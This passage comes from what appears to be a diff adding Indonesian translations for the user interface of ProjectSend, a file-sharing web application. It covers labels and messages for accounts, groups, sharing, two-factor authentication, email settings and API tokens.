orphan files found.": "Tidak ditemukan berkas yatim.", + "No orphan files match your search.": "Tidak ada berkas yatim yang cocok dengan pencarian Anda.", + "No pending requests.": "Tidak ada permintaan yang tertunda.", + "No public links yet.": "Belum ada tautan publik.", + "No recipients added yet.": "Belum ada penerima yang ditambahkan.", + "No requests match your search.": "Tidak ada permintaan yang cocok dengan pencarian Anda.", + "No roles match this filter.": "Tidak ada peran yang cocok dengan filter ini.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Tanpa batas ukuran. Unggahan bisa dijeda dan otomatis berlanjut setelah terputus.", + "No users match these filters.": "Tidak ada pengguna yang cocok dengan filter ini.", + "No users yet.": "Belum ada pengguna.", + "Nobody (optional for everyone)": "Tidak ada (opsional bagi semua orang)", + "Non-Authoritative Information": "Informasi Non-Otoritatif", + "None": "Tidak ada", + "None of the selected items could be found.": "Tidak satu pun item yang dipilih dapat ditemukan.", + "Not Acceptable": "Tidak dapat diterima", + "Not Extended": "Tidak diperpanjang", + "Not Found": "Tidak ditemukan", + "Not Implemented": "Tidak dilaksanakan", + "Not Modified": "Tidak dimodifikasi", + "Not shared with anyone yet.": "Belum dibagikan kepada siapa pun.", + "Notification settings": "Pengaturan notifikasi", + "Notifications": "Notifikasi", + "Nothing is publicly shared yet.": "Belum ada yang dibagikan secara publik.", + "of": "dari", + "OK": "OKE", + "One option per line": "Satu pilihan per baris", + "Only clients can be group members.": "Hanya klien yang bisa menjadi anggota grup.", + "Only clients can comment here.": "Hanya klien yang bisa berkomentar di sini.", + "Only for anonymous downloads": "Hanya untuk unduhan anonim", + "Only people who are signed in can comment here.": "Hanya orang yang sudah masuk yang bisa berkomentar di sini.", + "Only staff can comment here.": "Hanya staf yang bisa berkomentar di sini.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Hanya teks di bawah ini yang bisa diubah — tombol dan tautan dalam email ini tetap sama.", + "Open": "Membuka", + "Open folder": "Buka folder", + "Open in a current window": "Buka di jendela saat ini", + "Open in a new window": "Buka di jendela baru", + "Open in a parent frame": "Buka di bingkai induk", + "Open in the topmost frame": "Buka di bingkai paling atas", + "Open on the website": "Buka di situs web", + "Open public listing": "Buka daftar publik", + "Options": "Pilihan", + "Or enter this key manually:": "Atau masukkan kunci ini secara manual:", + "Orange": "Oranye", + "Origin Is Unreachable": "Asal tidak terjangkau", + "Outgoing email": "Email keluar", + "Outgoing email theme": "Tema email keluar", + "Page :current of :last": "Halaman :current dari :last", + "Page Expired": "Halaman Kadaluwarsa", + "Pagination Navigation": "Navigasi Paginasi", + "Partial Content": "Konten parsial", + "Password": "Kata sandi", + "Password reset": "Penyetelan ulang kata sandi", + "Path": "Jalur", + "Payload Too Large": "Payload terlalu besar", + "Payment Required": "Pembayaran Diperlukan", + "Pending approval": "Menunggu persetujuan", + "Permanent Redirect": "Pengalihan permanen", + "Permanently erased a deleted account": "Menghapus permanen sebuah akun yang sudah dihapus", + "Permissions": "Izin", + "Pink": "Merah muda", + "Platform": "Platform", + "Please click the button below to verify your email address.": "Silakan klik tombol di bawah untuk memverifikasi alamat surel Anda.", + "Port": "Porta", + "Postmark": "Postmark", + "Powered by ProjectSend": "Ditenagai oleh ProjectSend", + "Precondition Failed": "Prasyarat Gagal", + "Precondition Required": "Prasyarat diperlukan", + "Preparing your download…": "Menyiapkan unduhan Anda…", + "Preview": "Pratinjau", + "Preview: :theme": "Pratinjau: :theme", + "Previous": "Sebelumnya", + "Price": "Harga", + "Privacy": "Privasi", + "Privacy settings": "Pengaturan privasi", + "Private": "Pribadi", + "Processing": "Memproses", + "Profile": "Profil", + "Profile information was updated": "Informasi profil diperbarui", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion sudah tersedia (Anda memakai :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend adalah perangkat lunak bebas dan sumber terbuka untuk mengirim file kepada klien Anda. Dirilis di bawah :license, yang berarti Anda bebas menggunakan, mempelajari, mengubah, dan membagikannya.", + "ProjectSend is ready": "ProjectSend siap digunakan", + "ProjectSend was installed": "ProjectSend telah dipasang", + "Provider": "Penyedia", + "Proxy Authentication Required": "Otentikasi proksi diperlukan", + "Public": "Publik", + "Public file": "Berkas publik", + "Public files": "Berkas publik", + "Public group": "Grup publik", + "Public group listing": "Daftar grup publik", + "Public groups": "Grup publik", + "Public link": "Tautan publik", + "Public link created.": "Tautan publik dibuat.", + "Public link revoked.": "Tautan publik dicabut.", + "Public links": "Tautan publik", + "Public listing": "Daftar publik", + "Public listing settings": "Pengaturan daftar publik", + "Public listing URL": "URL daftar publik", + "Public pages & portal": "Halaman publik & portal", + "Public pages and client portal theme": "Tema halaman publik dan portal klien", + "Published": "Diterbitkan", + "Purple": "Ungu", + "Quota": "Kuota", + "Railgun Error": "Kesalahan Railgun", + "Range Not Satisfiable": "Rentang Tidak Memuaskan", + "Read more": "Baca selengkapnya", + "Reassign them to": "Alihkan ke", + "Recent activity": "Aktivitas terbaru", + "Recipient": "Penerima", + "Record": "Catatan", + "Record IP addresses for downloads": "Catat alamat IP untuk unduhan", + "Recovery code": "Kode pemulihan", + "Red": "Merah", + "Regards,": "Salam,", + "Regenerate recovery codes": "Buat ulang kode pemulihan", + "Regenerate recovery codes?": "Buat ulang kode pemulihan?", + "Regenerated two-factor recovery codes": "Membuat ulang kode pemulihan autentikasi dua faktor", + "Register": "Daftar", + "Register to access the files shared with you.": "Daftar untuk mengakses berkas yang dibagikan kepada Anda.", + "Register to request access. An administrator will review your request.": "Daftar untuk meminta akses. Administrator akan meninjau permintaan Anda.", + "Registered a new client account": "Mendaftarkan akun klien baru", + "Related": "Terkait", + "Remember me": "Ingat saya", + "Remove": "Hapus", + "Removed \":member\" from the group \":subject\"": "Mengeluarkan \":member\" dari grup \":subject\"", + "Removed the file \":subject\" from :target": "Mencabut berkas \":subject\" dari :target", + "Rename": "Ganti nama", + "Renamed the folder \":subject\"": "Mengganti nama folder \":subject\"", + "Repository": "Repositori", + "Request declined": "Permintaan ditolak", + "Request Header Fields Too Large": "Bidang permintaan Header terlalu besar", + "Request membership": "Minta keanggotaan", + "Request membership to groups (optional)": "Minta keanggotaan ke grup (opsional)", + "Request Timeout": "Permintaan waktu habis", + "Requested": "Diminta", + "Requested membership to the group \":subject\"": "Meminta keanggotaan di grup \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Keanggotaan yang diminta menunggu persetujuan di antrean permintaan keanggotaan.", + "Require two-factor authentication": "Wajibkan autentikasi dua faktor", + "Required": "Wajib", + "Reset Content": "Setel ulang konten", + "Reset Password": "Atur Ulang Kata Sandi", + "Reset Password Notification": "Pemberitahuan Pengaturan Ulang Kata Sandi", + "Reset this email to its default wording?": "Kembalikan email ini ke teks bawaannya?", + "Reset to default": "Kembalikan ke bawaan", + "Restore": "Pulihkan", + "Restore :name": "Pulihkan :name", + "Restricted extension": "Ekstensi yang dibatasi", + "Result": "Hasil", + "results": "hasil", + "Review membership requests": "Meninjau permintaan keanggotaan", + "Review pending requests": "Tinjau permintaan yang tertunda", + "Retry With": "Coba lagi dengan", + "Revoke": "Cabut", + "Revoke link": "Cabut tautan", + "Revoke this public link?": "Cabut tautan publik ini?", + "Revoked a public link for the file \":subject\"": "Mencabut tautan publik untuk berkas \":subject\"", + "Role": "Peran", + "Role created.": "Peran dibuat.", + "Role deleted.": "Peran dihapus.", + "Role name": "Nama peran", + "Role updated.": "Peran diperbarui.", + "Roles": "Peran", + "Sample email": "Contoh email", + "Save": "Simpan", + "Save :name": "Hemat :name", + "Save & Close": "Simpan & Tutup", + "Save & Return": "Simpan & Kembalikan", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Simpan perubahan Anda agar ini aktif — sebelum itu, tombol-tombol ini mengarah ke halaman yang belum diterbitkan.", + "Saved": "Tersimpan", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Pindai kode QR ini dengan aplikasi autentikator Anda, lalu masukkan kode enam digit untuk mengonfirmasi.", + "Scanning:": "Memindai:", + "Scheduled tasks": "Tugas terjadwal", + "Search": "Cari", + "Search :name": "Pencarian :name", + "Search all files and folders": "Cari di semua berkas dan folder", + "Search by client or group": "Cari berdasarkan klien atau grup", + "Search by name": "Cari berdasarkan nama", + "Search by name or email address": "Cari berdasarkan nama atau alamat email", + "Search by path": "Cari berdasarkan jalur", + "Search categories": "Cari kategori", + "Search fields": "Cari bidang", + "Search your files": "Cari di berkas Anda", + "Security": "Keamanan", + "Security settings": "Pengaturan keamanan", + "See Other": "Lihat lainnya", + "Select": "Pilih", + "Select :name": "Pilih :name", + "Select a client or group": "Pilih klien atau grup", + "Select a client to add": "Pilih klien untuk ditambahkan", + "Select a role": "Pilih peran", + "Select All": "Pilih Semua", + "Select an option": "Pilih salah satu", + "Select at least one file or folder.": "Pilih setidaknya satu berkas atau folder.", + "Self-registered clients join this group automatically.": "Klien yang mendaftar sendiri otomatis masuk ke grup ini.", + "Send": "Mengirim", + "Send email notifications": "Kirim notifikasi lewat email", + "Send test email": "Kirim email uji", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Mengirim email sungguhan sekarang juga tanpa lewat antrean, agar Anda bisa memastikan pengaturan di atas benar-benar bekerja.", + "Separate paragraphs with a blank line.": "Pisahkan paragraf dengan satu baris kosong.", + "Server Error": "Terjadi Kesalahan Server", + "Service Unavailable": "Layanan Tidak Tersedia", + "Session Has Expired": "Sesi telah berakhir", + "Set file expiration dates": "Menetapkan tanggal kedaluwarsa berkas", + "Set to 0 for no limit. Available disk space still applies.": "Isi 0 agar tanpa batas. Ruang disk yang tersedia tetap berlaku.", + "Set to 0 to allow requesting again immediately.": "Isi 0 agar permintaan bisa diajukan lagi seketika.", + "Set up ProjectSend": "Siapkan ProjectSend", + "Settings": "Pengaturan", + "Settings that apply to the whole installation": "Pengaturan yang berlaku untuk seluruh instalasi", + "Setup complete": "Penyiapan selesai", + "Share a file with the people who manage your account.": "Bagikan berkas kepada orang-orang yang mengelola akun Anda.", + "Share files with several clients at once": "Bagikan berkas ke beberapa klien sekaligus", + "Shared the folder \":subject\" with :target": "Membagikan folder \":subject\" kepada :target", + "Shared with": "Dibagikan kepada", + "Shared with :count": "Dibagikan kepada :count", + "Sharing": "Berbagi", + "Sharing a folder shares everything inside it, now and later": "Membagikan folder berarti membagikan seluruh isinya, sekarang maupun nanti", + "Show": "Menunjukkan", + "Show :name": "Tampilkan :name", + "Show All": "Tunjukkan semua", + "Showing": "Menampilkan", + "Showing matches from across your library": "Hasil dari seluruh pustaka Anda", + "Showing matches from everything shared with you": "Hasil dari semua yang dibagikan kepada Anda", + "Shown across the application and to your clients.": "Ditampilkan di seluruh aplikasi dan kepada klien Anda.", + "Shows a registration form on the login screen.": "Menampilkan formulir pendaftaran di layar masuk.", + "Sign In": "Masuk", + "Sign up": "Daftar", + "Site name": "Nama situs", + "Size": "Ukuran", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Lewati alamat IP jika yang mengunduh adalah akun yang sudah masuk — identitasnya toh sudah diketahui.", + "SMTP configuration": "Konfigurasi SMTP", + "Source code": "Kode sumber", + "Special public links": "Tautan publik khusus", + "Solve": "Menyelesaikan", + "Something went wrong. Please try again.": "Terjadi kesalahan. Silakan coba lagi.", + "SSL": "SSL", + "SSL Handshake Failed": "Jabat tangan SSL gagal", + "Staff": "Staf", + "Start": "Awal", + "Status": "Status", + "Stop": "Berhenti", + "Stopped sharing the folder \":subject\" with :target": "Berhenti membagikan folder \":subject\" kepada :target", + "Storage": "Penyimpanan", + "Storage free": "Ruang kosong", + "Storage quota (MB)": "Kuota penyimpanan (MB)", + "Storage used": "Ruang terpakai", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Simpan kode pemulihan ini di tempat yang aman. Tiap kode bisa dipakai sekali jika Anda kehilangan akses ke aplikasi autentikator.", + "Subfolders": "Subfolder", + "Subject": "Subjek", + "Submit": "Kirim", + "Subscribe": "Langganan", + "Success: test email sent to :email via :hostport.": "Berhasil: email uji dikirim ke :email lewat :hostport.", + "Support the project": "Dukung proyek ini", + "Switch": "Mengalihkan", + "Switch To Role": "Beralih Ke Peran", + "Switching Protocols": "Beralih protokol", + "System": "Sistem", + "System Administrator": "Administrator sistem", + "System settings": "Pengaturan sistem", + "System settings were updated": "Pengaturan sistem diperbarui", + "System users": "Pengguna sistem", + "Tag": "Menandai", + "Tags": "Tag", + "Temporary Redirect": "Pengalihan temporer", + "Test": "Uji", + "Text": "Teks", + "Text or author": "Isi atau penulis", + "The account of :name will be permanently deleted. This cannot be undone.": "Akun :name akan dihapus permanen. Tindakan ini tidak bisa dibatalkan.", + "The account password was changed": "Kata sandi akun diubah", + "The account request of :name will be denied and the account deleted.": "Permintaan akun dari :name akan ditolak dan akunnya dihapus.", + "The administrator account was created successfully.": "Akun administrator berhasil dibuat.", + "The administrator role always has every permission and cannot be edited.": "Peran administrator selalu memiliki semua izin dan tidak bisa diubah.", + "The base URL segment for public group pages, e.g. :url": "Potongan URL dasar untuk halaman grup publik, mis. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Kategori \":name\" akan dilepas dari semua berkasnya. Berkasnya sendiri tidak dihapus.", + "The client's email address": "Alamat email klien", + "The client's name": "Nama klien", + "The clients this group shares files with": "Klien yang menerima berkas dari grup ini", + "The field \":name\" and all its stored values will be permanently deleted.": "Bidang \":name\" beserta semua nilai yang tersimpan di dalamnya akan dihapus permanen.", + "The file \":file\" was uploaded by :client.": "Berkas \":file\" diunggah oleh :client.", + "The file \":name\" has been shared with you.": "Berkas \":name\" telah dibagikan kepada Anda.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Berkas \":name\" tidak akan tersedia lagi bagi siapa pun yang sebelumnya menerimanya.", + "The file name": "Nama berkas", + "The file or folder name": "Nama berkas atau folder", + "The file will be permanently removed from disk. This cannot be undone.": "Berkas akan dihapus permanen dari disk. Tindakan ini tidak bisa dibatalkan.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Berkas dalam grup publik bisa dilihat siapa saja yang punya tautannya, tanpa perlu masuk.", + "The files shared with you": "Berkas yang dibagikan kepada Anda", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Folder \":name\" beserta seluruh isinya akan dihapus. Administrator bisa membatalkannya.", + "The following :count items have been shared with you:": ":count item berikut telah dibagikan kepada Anda:", + "The folder \":name\" has been shared with you.": "Folder \":name\" telah dibagikan kepada Anda.", + "The given data was invalid.": "Data yang diberikan tidak valid.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Grup \":name\" akan dihapus. Klien di dalamnya tetap memiliki akun masing-masing.", + "The group name": "Nama grup", + "The groups you belong to and the ones you can ask to join": "Grup yang Anda ikuti dan grup yang bisa Anda minta untuk bergabung", + "The header/footer style used for every outgoing notification email.": "Gaya kepala dan kaki surat yang dipakai di setiap email notifikasi keluar.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Tampilan halaman publik bagi pengunjung, portal klien, dan email notifikasi keluar.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Server email itu sendiri dikonfigurasi di berkas .env instalasi ini (variabel MAIL_*), bukan di sini.", + "The people who administer this installation and upload files": "Orang-orang yang mengelola instalasi ini dan mengunggah berkas", + "The people you share files with": "Orang-orang yang Anda kirimi berkas", + "The provided two-factor authentication code was invalid.": "Kode autentikasi dua faktor yang dimasukkan tidak sah.", + "The release this installation is running, and where it comes from.": "Versi yang dijalankan instalasi ini, dan dari mana asalnya.", + "The response is not a streamed response.": "Responsnya bukan respons yang dialirkan.", + "The response is not a view.": "Responsnya bukanlah pandangan.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Peran \":name\" akan dihapus permanen. Tindakan ini tidak bisa dibatalkan.", + "The selected folders are empty.": "Folder yang dipilih kosong.", + "The uploading client's name": "Nama klien yang mengunggah", + "Their account is waiting for approval.": "Akun ini sedang menunggu persetujuan.", + "There is nothing to configure yet.": "Belum ada yang perlu dikonfigurasi.", + "Test email from :site": "Email uji dari :site", + "These files will be permanently removed from disk. This cannot be undone.": "Berkas-berkas ini akan dihapus permanen dari disk. Tindakan ini tidak bisa dibatalkan.", + "Theme": "Tema", + "Theme updated.": "Tema diperbarui.", + "Theming": "Tema", + "Theming settings": "Pengaturan tema", + "This action is unauthorized.": "Tindakan ini tidak sah.", + "This file exceeds the maximum allowed size of :max MB.": "Berkas ini melampaui ukuran maksimum yang diizinkan, yaitu :max MB.", + "This folder is empty.": "Folder ini kosong.", + "This installation has no administrator yet. Create the first one to get started.": "Instalasi ini belum punya administrator. Buat yang pertama untuk memulai.", + "This is a built-in role; its scope can't be changed.": "Ini peran bawaan; cakupannya tidak bisa diubah.", + "This is a preview of the :theme email theme.": "Ini pratinjau tema email :theme.", + "This is a sample email — no notification was actually sent.": "Ini contoh email — tidak ada notifikasi yang benar-benar dikirim.", + "This is a test email from :site.": "Ini email uji dari :site.", + "This is the last active administrator account.": "Ini akun administrator aktif yang terakhir.", + "This link cannot match the file's own public URL slug.": "Tautan ini tidak boleh sama dengan slug URL publik berkas itu sendiri.", + "This link doesn't exist or has been revoked.": "Tautan ini tidak ada atau sudah dicabut.", + "This link has expired.": "Tautan ini sudah kedaluwarsa.", + "This link has reached its download limit.": "Tautan ini sudah mencapai batas unduhannya.", + "This password reset link will expire in :count minutes.": "Tautan pengaturan ulang kata sandi ini akan kedaluwarsa dalam :count menit.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Ini menghapus permanen semua tugas yang gagal dari daftar tanpa mencoba ulang satu pun. Tindakan ini tidak dapat dibatalkan.", + "This role is assigned to accounts and cannot be deleted.": "Peran ini sedang dipakai oleh sejumlah akun sehingga tidak bisa dihapus.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Peran ini hanya melihat berkas dan folder milik klien berikut, ditambah unggahannya sendiri.", + "This upload would exceed your storage quota of :quota MB.": "Unggahan ini akan melampaui kuota penyimpanan Anda sebesar :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Tips: seret berkas dan folder ke sebuah folder atau ke jalur navigasi untuk memindahkannya.", + "Title": "Judul", + "Title (optional)": "Judul (opsional)", + "TLS": "TLS", + "to": "kepada", + "To": "Kepada", + "Toggle navigation": "Alihkan navigasi", + "Too Early": "Terlalu dini", + "Too many files selected. Choose a smaller selection and try again.": "Terlalu banyak berkas yang dipilih. Kurangi pilihan lalu coba lagi.", + "Too Many Requests": "Terlalu Banyak Permintaan", + "Transactional email settings for this installation": "Pengaturan email transaksional untuk instalasi ini", + "Transfers — last 30 days": "Transfer — 30 hari terakhir", + "Translate": "Menerjemahkan", + "Translate It": "Terjemahkan", + "Turns all transactional email for this installation on or off.": "Menyalakan atau mematikan seluruh email transaksional instalasi ini.", + "Two-factor auth": "Autentikasi dua faktor", + "Two-factor authentication": "Autentikasi dua faktor", + "Two-factor authentication is enabled.": "Autentikasi dua faktor aktif.", + "Two-factor authentication was disabled": "Autentikasi dua faktor dimatikan", + "Two-factor authentication was enabled": "Autentikasi dua faktor diaktifkan", + "Two-factor recovery codes were regenerated": "Kode pemulihan autentikasi dua faktor dibuat ulang", + "Type": "Jenis", + "Unauthorized": "Tidak Diizinkan", + "Unavailable For Legal Reasons": "Tidak Tersedia Karena Alasan Hukum", + "Unchanged": "Tidak berubah", + "Unknown Error": "Error tidak diketahui", + "Unlimited": "Tanpa batas", + "Unpack": "Membongkar", + "Unprocessable Entity": "Entitas yang tidak dapat diproses", + "Unsubscribe": "Berhenti berlangganan", + "Unsupported Media Type": "Tipe media tidak mendukung", + "Up": "Ke atas", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Maksimal :max MB per berkas. Unggahan bisa dijeda dan otomatis berlanjut setelah terputus.", + "Update": "Perbarui", + "Update :name": "Pembaruan :name", + "Updated the account \":subject\"": "Memperbarui akun \":subject\"", + "Updated the file \":subject\"": "Memperbarui berkas \":subject\"", + "Updated the group \":subject\"": "Memperbarui grup \":subject\"", + "Updated the role \":subject\"": "Memperbarui peran \":subject\"", + "Updated the system settings (:section)": "Memperbarui pengaturan sistem (:section)", + "Updated their profile information": "Memperbarui informasi profilnya", + "Upgrade Required": "Diperlukan Peningkatan", + "Upload": "Unggah", + "Upload a file": "Unggah berkas", + "Upload files": "Mengunggah berkas", + "Upload public files": "Mengunggah berkas publik", + "Upload settings": "Pengaturan unggahan", + "Upload to public folders": "Mengunggah ke folder publik", + "Uploaded by": "Diunggah oleh", + "Uploaded the file \":subject\"": "Mengunggah berkas \":subject\"", + "Uploader": "Pengunggah", + "Uploads": "Unggahan", + "Uploads (chart)": "Unggahan (grafik)", + "URI Too Long": "URI terlalu panjang", + "URL slug": "Slug URL", + "Use a custom link instead of a random one": "Gunakan tautan pilihan sendiri, bukan tautan acak", + "Use a recovery code": "Gunakan kode pemulihan", + "Use an authentication code": "Gunakan kode autentikasi", + "Use Proxy": "Memakai Proxy", + "Use the navigation to get started.": "Mulailah lewat menu navigasi.", + "Used": "Terpakai", + "Used in the public file URL when this file is public.": "Dipakai dalam URL publik berkas saat berkas ini bersifat publik.", + "Used in the public group URL when this group is public.": "Dipakai dalam URL publik grup saat grup ini bersifat publik.", + "User": "Pengguna", + "User created.": "Pengguna dibuat.", + "User deleted.": "Pengguna dihapus.", + "User updated.": "Pengguna diperbarui.", + "Users": "Pengguna", + "Username": "Nama pengguna", + "Variant Also Negotiates": "Varian Juga Nego", + "Verify Email Address": "Verifikasi Alamat Surel", + "Version": "Versi", + "Version :version": "Versi :version", + "View": "Tampilan", + "View :name": "Lihat :name", + "View all": "Lihat semua", + "View dashboard counters": "Melihat penghitung dasbor", + "View file": "Lihat berkas", + "View news": "Melihat kabar terbaru", + "View statistics": "Melihat statistik", + "View system information": "Melihat informasi sistem", + "Visible widgets": "Widget yang ditampilkan", + "View the activity log": "Melihat log aktivitas", + "View your files": "Melihat berkas sendiri", + "Visibility": "Visibilitas", + "Visitors": "Pengunjung", + "Warning": "Peringatan", + "Web Server is Down": "Web server sedang turun", + "Website": "Situs web", + "Welcome": "Selamat datang", + "Welcome to ProjectSend": "Selamat datang di ProjectSend", + "What each kind of account is allowed to do": "Apa saja yang boleh dilakukan tiap jenis akun", + "When an account is erased, its files and folders": "Saat sebuah akun dihapus, file dan foldernya", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Jika diaktifkan, saat masuk Anda akan diminta kode aman dari ponsel Anda.", + "When off, self-registered clients wait in the account requests queue until approved.": "Jika dimatikan, klien yang mendaftar sendiri menunggu di antrean permintaan akun sampai disetujui.", + "Where outgoing email is actually sent from.": "Alamat asal sesungguhnya dari email yang dikirim.", + "Whoops!": "Aduh!", + "Widgets": "Widget", + "Worth including when you report a problem.": "Sebaiknya disertakan saat Anda melaporkan masalah.", + "Written by": "Ditulis oleh", + "Yellow": "Kuning", + "Yes": "Ya", + "You are commenting too quickly. Try again in a moment.": "Anda berkomentar terlalu cepat. Coba lagi sebentar.", + "You are commenting too quickly. Try again in :seconds seconds.": "Anda berkomentar terlalu cepat. Coba lagi dalam :seconds detik.", + "You are not a member of any group yet.": "Anda belum menjadi anggota grup mana pun.", + "You are receiving this email because we received a password reset request for your account.": "Anda menerima surel ini karena kami menerima permintaan pengaturan ulang kata sandi untuk akun anda.", + "You can only share with the clients assigned to you.": "Anda hanya bisa berbagi dengan klien yang ditugaskan kepada Anda.", + "You cannot comment on this file.": "Anda tidak bisa berkomentar pada berkas ini.", + "You cannot deactivate your own account.": "Anda tidak bisa menonaktifkan akun Anda sendiri.", + "You cannot delete your own account.": "Anda tidak bisa menghapus akun Anda sendiri.", + "You have no notifications yet.": "Anda belum punya notifikasi.", + "You will no longer receive files shared with the group \":name\".": "Anda tidak akan lagi menerima berkas yang dibagikan ke grup \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Data akun Anda baru saja diubah oleh administrator. Hubungi administrator Anda jika hal ini di luar dugaan.", + "Your account has been approved": "Akun Anda telah disetujui", + "Your account has been created. You can log in now.": "Akun Anda telah dibuat. Anda bisa masuk sekarang.", + "Your account has been deactivated.": "Akun Anda telah dinonaktifkan.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Akun Anda langsung dinonaktifkan. Setelah :days hari akan dihapus permanen, termasuk data yang mengidentifikasi Anda di log aktivitas — tindakan ini tidak bisa dibatalkan.", + "Your account request has been approved. You can now log in.": "Permintaan akun Anda telah disetujui. Anda sudah bisa masuk.", + "Your account request has been denied.": "Permintaan akun Anda ditolak.", + "Your account request has been received. You will be able to log in once it is approved.": "Permintaan akun Anda sudah kami terima. Anda bisa masuk setelah permintaan disetujui.", + "Your account request has not been approved yet.": "Permintaan akun Anda belum disetujui.", + "Your account request was denied": "Permintaan akun Anda ditolak", + "Your account was updated": "Akun Anda diperbarui", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Akun Anda akan dinonaktifkan sekarang dan dihapus permanen setelah :days hari. Masukkan kata sandi untuk mengonfirmasi.", + "Your account will no longer require a second code at login, making it less secure.": "Akun Anda tidak lagi meminta kode kedua saat masuk, sehingga menjadi kurang aman.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Administrator Anda mewajibkan autentikasi dua faktor pada akun ini. Siapkan di bawah ini untuk melanjutkan.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Subjek dan isi yang Anda sesuaikan akan langsung dibuang dan diganti dengan teks bawaan — tindakan ini tidak bisa dibatalkan.", + "Your download should start automatically.": "Unduhan Anda semestinya dimulai otomatis.", + "Your existing recovery codes will stop working immediately.": "Kode pemulihan Anda yang sekarang akan langsung tidak berlaku.", + "Your group membership request was approved": "Permintaan keanggotaan grup Anda disetujui", + "Your group membership request was denied": "Permintaan keanggotaan grup Anda ditolak", + "Your groups": "Grup Anda", + "Your previous request to this group was declined. You can request again later.": "Permintaan Anda sebelumnya ke grup ini ditolak. Anda bisa mengajukan lagi nanti.", + "Your request to join the group \":group\" has been approved.": "Permintaan Anda untuk bergabung ke grup \":group\" disetujui.", + "Your request to join the group \":group\" has been denied.": "Permintaan Anda untuk bergabung ke grup \":group\" ditolak.", + "Your request to join the group \":groupName\" has been approved": "Permintaan Anda untuk bergabung ke grup \":groupName\" disetujui", + "Your shared file library": "Pustaka berkas berbagi Anda", + "API tokens": "Token API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Token memungkinkan alat eksternal bertindak atas nama Anda lewat API, hanya dengan izin yang Anda berikan di sini.", + "Token name": "Nama token", + "e.g. Zapier": "mis. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Beri nama sesuai alat yang akan memakainya, supaya nanti Anda tahu apa yang sedang Anda cabut.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Token tidak pernah bisa melakukan lebih dari Anda. Berikan hanya yang dibutuhkan alat tersebut — jika izin Anda berubah, token ikut menyesuaikan.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Yang tercantum hanyalah izin yang sudah didukung API saat ini. Izin lain akan muncul seiring dirilisnya endpoint baru.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Belum ada yang bisa Anda berikan ke token — belum ada endpoint API yang dirilis sejauh ini yang cocok dengan izin Anda.", + "Select all": "Pilih semua", + "Clear all": "Kosongkan pilihan", + "Expires in (days)": "Kedaluwarsa dalam (hari)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Token tanpa masa berlaku akan terus sah sampai ada yang mencabutnya secara manual. Sebaiknya pilih tanggal yang bisa Anda lupakan dengan tenang.", + "Create token": "Buat token", + "Copy your token now": "Salin token Anda sekarang", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Token hanya ditampilkan kali ini. Kami hanya menyimpan hash-nya, jadi tidak bisa dipulihkan nanti.", + "Copy to clipboard": "Salin ke papan klip", + "Copied": "Tersalin", + "Your tokens": "Token Anda", + "Revoking a token takes effect immediately.": "Pencabutan token langsung berlaku.", + "You have not created any tokens yet.": "Anda belum membuat token apa pun.", + "Expired": "Kedaluwarsa", + "Never used": "Belum pernah dipakai", + "Last used :date": "Terakhir dipakai :date", + "Revoke this token?": "Cabut token ini?", + "Any tool using it will stop working immediately. This cannot be undone.": "Semua alat yang memakainya akan langsung berhenti bekerja. Tindakan ini tidak bisa dibatalkan.", + "This file type is not allowed for upload.": "Jenis berkas ini tidak boleh diunggah.", + "View the client list": "Melihat daftar klien", + "View the group list": "Melihat daftar grup", + "Origin": "Asal", + "All origins": "Semua asal", + "Web UI": "Antarmuka web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Ubah token", + "Save token": "Simpan token", + "The token is shown once, immediately after it is created, and never again.": "Token ditampilkan sekali saja, tepat setelah dibuat, dan tidak pernah lagi.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Tokennya sendiri tidak berubah. Apa pun yang sudah memakainya tetap bekerja dengan apa yang Anda atur di sini.", + "Changing permissions takes effect immediately": "Perubahan izin langsung berlaku", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Token yang ada tetap bernilai sama, jadi pihak yang memegangnya langsung mendapat atau kehilangan izin tersebut. Jika Anda ingin rahasia yang baru, cabut dan buat token baru.", + "Some permissions no longer apply": "Sebagian izin sudah tidak berlaku", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Token ini masih membawa izin yang kini tak berdampak apa-apa; saat disimpan, izin tersebut akan dihapus: 